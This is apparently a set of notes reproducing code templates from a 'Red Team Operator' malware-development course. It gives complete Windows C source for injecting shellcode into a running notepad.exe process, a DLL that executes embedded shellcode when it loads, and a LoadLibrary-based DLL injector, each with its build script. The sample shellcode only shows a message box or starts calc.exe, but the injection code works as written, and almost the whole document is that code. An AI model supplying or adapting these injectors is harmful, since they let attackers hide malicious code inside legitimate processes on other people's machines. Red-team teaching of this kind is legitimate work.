image.png

code inject

  1. /*
  3.  Red Team Operator course code template
  4.  classic code injection
  6.  author: reenz0h (twitter: @sektor7net)
  8. */
  9. #include <windows.h>
  10. #include <stdio.h>
  11. #include <stdlib.h>
  12. #include <string.h>
  13. #include <tlhelp32.h>
  15. // MessageBox shellcode - 64-bit
  16. unsigned char payload[] = {
  17.   0xfc, 0x48, 0x81, 0xe4, 0xf0, 0xff, 0xff, 0xff, 0xe8, 0xd0, 0x00, 0x00,
  18.   0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65,
  19.   0x48, 0x8b, 0x52, 0x60, 0x3e, 0x48, 0x8b, 0x52, 0x18, 0x3e, 0x48, 0x8b,
  20.   0x52, 0x20, 0x3e, 0x48, 0x8b, 0x72, 0x50, 0x3e, 0x48, 0x0f, 0xb7, 0x4a,
  21.   0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02,
  22.   0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, 0x52,
  23.   0x41, 0x51, 0x3e, 0x48, 0x8b, 0x52, 0x20, 0x3e, 0x8b, 0x42, 0x3c, 0x48,
  24.   0x01, 0xd0, 0x3e, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0,
  25.   0x74, 0x6f, 0x48, 0x01, 0xd0, 0x50, 0x3e, 0x8b, 0x48, 0x18, 0x3e, 0x44,
  26.   0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x5c, 0x48, 0xff, 0xc9, 0x3e,
  27.   0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31,
  28.   0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75,
  29.   0xf1, 0x3e, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd6,
  30.   0x58, 0x3e, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x3e, 0x41,
  31.   0x8b, 0x0c, 0x48, 0x3e, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x3e,
  32.   0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e,
  33.   0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20,
  34.   0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x3e, 0x48, 0x8b, 0x12,
  35.   0xe9, 0x49, 0xff, 0xff, 0xff, 0x5d, 0x49, 0xc7, 0xc1, 0x00, 0x00, 0x00,
  36.   0x00, 0x3e, 0x48, 0x8d, 0x95, 0x1a, 0x01, 0x00, 0x00, 0x3e, 0x4c, 0x8d,
  37.   0x85, 0x35, 0x01, 0x00, 0x00, 0x48, 0x31, 0xc9, 0x41, 0xba, 0x45, 0x83,
  38.   0x56, 0x07, 0xff, 0xd5, 0xbb, 0xe0, 0x1d, 0x2a, 0x0a, 0x41, 0xba, 0xa6,
  39.   0x95, 0xbd, 0x9d, 0xff, 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c,
  40.   0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a,
  41.   0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x48, 0x69, 0x20, 0x66, 0x72,
  42.   0x6f, 0x6d, 0x20, 0x52, 0x65, 0x64, 0x20, 0x54, 0x65, 0x61, 0x6d, 0x20,
  43.   0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x21, 0x00, 0x52, 0x54,
  44.   0x4f, 0x3a, 0x20, 0x4d, 0x61, 0x6c, 0x44, 0x65, 0x76, 0x00
  45. };
  46. unsigned int payload_len = 334;
  49. int FindTarget(const char *procname) {
  51.         HANDLE hProcSnap;
  52.         PROCESSENTRY32 pe32;
  53.         int pid = 0;
  55.         hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  56.         if (INVALID_HANDLE_VALUE == hProcSnap) return 0;
  58.         pe32.dwSize = sizeof(PROCESSENTRY32); 
  60.         if (!Process32First(hProcSnap, &pe32)) {
  61.                 CloseHandle(hProcSnap);
  62.                 return 0;
  63.         }
  65.         while (Process32Next(hProcSnap, &pe32)) {
  66.                 if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
  67.                         pid = pe32.th32ProcessID;
  68.                         break;
  69.                 }
  70.         }
  72.         CloseHandle(hProcSnap);
  74.         return pid;
  75. }
  78. int Inject(HANDLE hProc, unsigned char * payload, unsigned int payload_len) {
  80.         LPVOID pRemoteCode = NULL;
  81.         HANDLE hThread = NULL;
  84.         pRemoteCode = VirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
  85.         WriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL);
  87.         hThread = CreateRemoteThread(hProc, NULL, 0, pRemoteCode, NULL, 0, NULL);
  88.         if (hThread != NULL) {
  89.                 WaitForSingleObject(hThread, 500);
  90.                 CloseHandle(hThread);
  91.                 return 0;
  92.         }
  93.         return -1;
  94. }
  97. int main(void) {
  99.     int pid = 0;
  100.     HANDLE hProc = NULL;
  102.     pid = FindTarget("notepad.exe");
  104.     if (pid) {
  105.         printf("Notepad.exe PID = %d\n", pid);
  107.         // try to open target process
  108.         hProc = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | 
  109.                         PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE,
  110.                         FALSE, (DWORD) pid);
  112.         if (hProc != NULL) {
  113.             Inject(hProc, payload, payload_len);
  114.             CloseHandle(hProc);
  115.         }
  116.     }
  117.     return 0;
  118. }
  1. @ECHO OFF
  3. cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /Tcimplant.cpp /link /OUT:implant.exe /SUBSYSTEM:CONSOLE /MACHINE:x64

code inject-DLL

image.png
image.png

DLL

  1. #include <windows.h>
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #include <string.h>
  6. // Calc.exe shellcode (exit function = thread)
  7. unsigned char payload[] = {
  8.   0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,
  9.   0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,
  10.   0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72,
  11.   0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
  12.   0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
  13.   0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b,
  14.   0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
  15.   0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44,
  16.   0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41,
  17.   0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
  18.   0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1,
  19.   0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44,
  20.   0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44,
  21.   0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01,
  22.   0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
  23.   0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,
  24.   0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48,
  25.   0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d,
  26.   0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5,
  27.   0xbb, 0xe0, 0x1d, 0x2a, 0x0a, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
  28.   0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0,
  29.   0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89,
  30.   0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
  31. };
  32. unsigned int payload_len = 276;
  36. extern __declspec(dllexport) int Go(void);
  37. int Go(void) {
  39.     void * exec_mem;
  40.     BOOL rv;
  41.     HANDLE th;
  42.     DWORD oldprotect = 0;
  44.     exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
  46.     RtlMoveMemory(exec_mem, payload, payload_len);
  48.     rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);
  50.     if ( rv != 0 ) {
  51.             th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
  52.             WaitForSingleObject(th, 0);
  53.     }
  54.     return 0;
  55. }
  58. BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved ) {
  60.     switch ( fdwReason ) {
  61.             case DLL_PROCESS_ATTACH:
  62.                     Go();
  63.                     break;
  64.             case DLL_THREAD_ATTACH:
  65.                     break;
  66.             case DLL_THREAD_DETACH:
  67.                     break;
  68.             case DLL_PROCESS_DETACH:
  69.                     break;
  70.             }
  71.     return TRUE;
  72. }
  1. @ECHO OFF
  3. cl.exe /O2 /D_USRDLL /D_WINDLL implantDLL.cpp implantDLL.def /MT /link /DLL /OUT:implantDLL.dll

injectorDLL

  1. /*
  3.  Red Team Operator course code template
  4.  DLL injector
  6.  author: reenz0h (twitter: @sektor7net)
  8. */
  9. #include <windows.h>
  10. #include <stdio.h>
  11. #include <stdlib.h>
  12. #include <string.h>
  13. #include <tlhelp32.h>
  16. int FindTarget(const char *procname) {
  18.         HANDLE hProcSnap;
  19.         PROCESSENTRY32 pe32;
  20.         int pid = 0;
  22.         hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  23.         if (INVALID_HANDLE_VALUE == hProcSnap) return 0;
  25.         pe32.dwSize = sizeof(PROCESSENTRY32); 
  27.         if (!Process32First(hProcSnap, &pe32)) {
  28.                 CloseHandle(hProcSnap);
  29.                 return 0;
  30.         }
  32.         while (Process32Next(hProcSnap, &pe32)) {
  33.                 if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
  34.                         pid = pe32.th32ProcessID;
  35.                         break;
  36.                 }
  37.         }
  39.         CloseHandle(hProcSnap);
  41.         return pid;
  42. }
  45. int main(int argc, char *argv[]) {
  47.     HANDLE pHandle;
  48.     PVOID remBuf;
  49.     PTHREAD_START_ROUTINE pLoadLibrary = NULL;
  50.     char dll[] = "Z:\\RTO\\07.Code_Injection\\02.DLL\\implantDLL.dll";
  51.     char target[] = "notepad.exe";
  52.     int pid = 0;
  55.     pid = FindTarget(target);
  56.     if ( pid == 0) {
  57.         printf("Target NOT FOUND! Exiting.\n");
  58.         return -1;
  59.     }
  61.     printf("Target PID: [ %d ]\nInjecting...", pid);
  63.     pLoadLibrary = (PTHREAD_START_ROUTINE) GetProcAddress( GetModuleHandle("Kernel32.dll"), "LoadLibraryA");
  65.     pHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, (DWORD)(pid));
  67.     if (pHandle != NULL) {
  68.         remBuf = VirtualAllocEx(pHandle, NULL, sizeof(dll), MEM_COMMIT, PAGE_READWRITE);    
  70.         WriteProcessMemory(pHandle, remBuf, (LPVOID) dll, sizeof(dll), NULL);
  72.         CreateRemoteThread(pHandle, NULL, 0, pLoadLibrary, remBuf, 0, NULL);
  73.         printf("done!\nremBuf addr = %p\n", remBuf);
  75.         CloseHandle(pHandle); 
  76.     }
  77.     else {
  78.         printf("OpenProcess failed! Exiting.\n");
  79.         return -2;
  80.     }
  81. }
  1. @ECHO OFF
  3. cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /TcinjectDLL.cpp /link /OUT:injectDLL.exe /SUBSYSTEM:CONSOLE /MACHINE:x64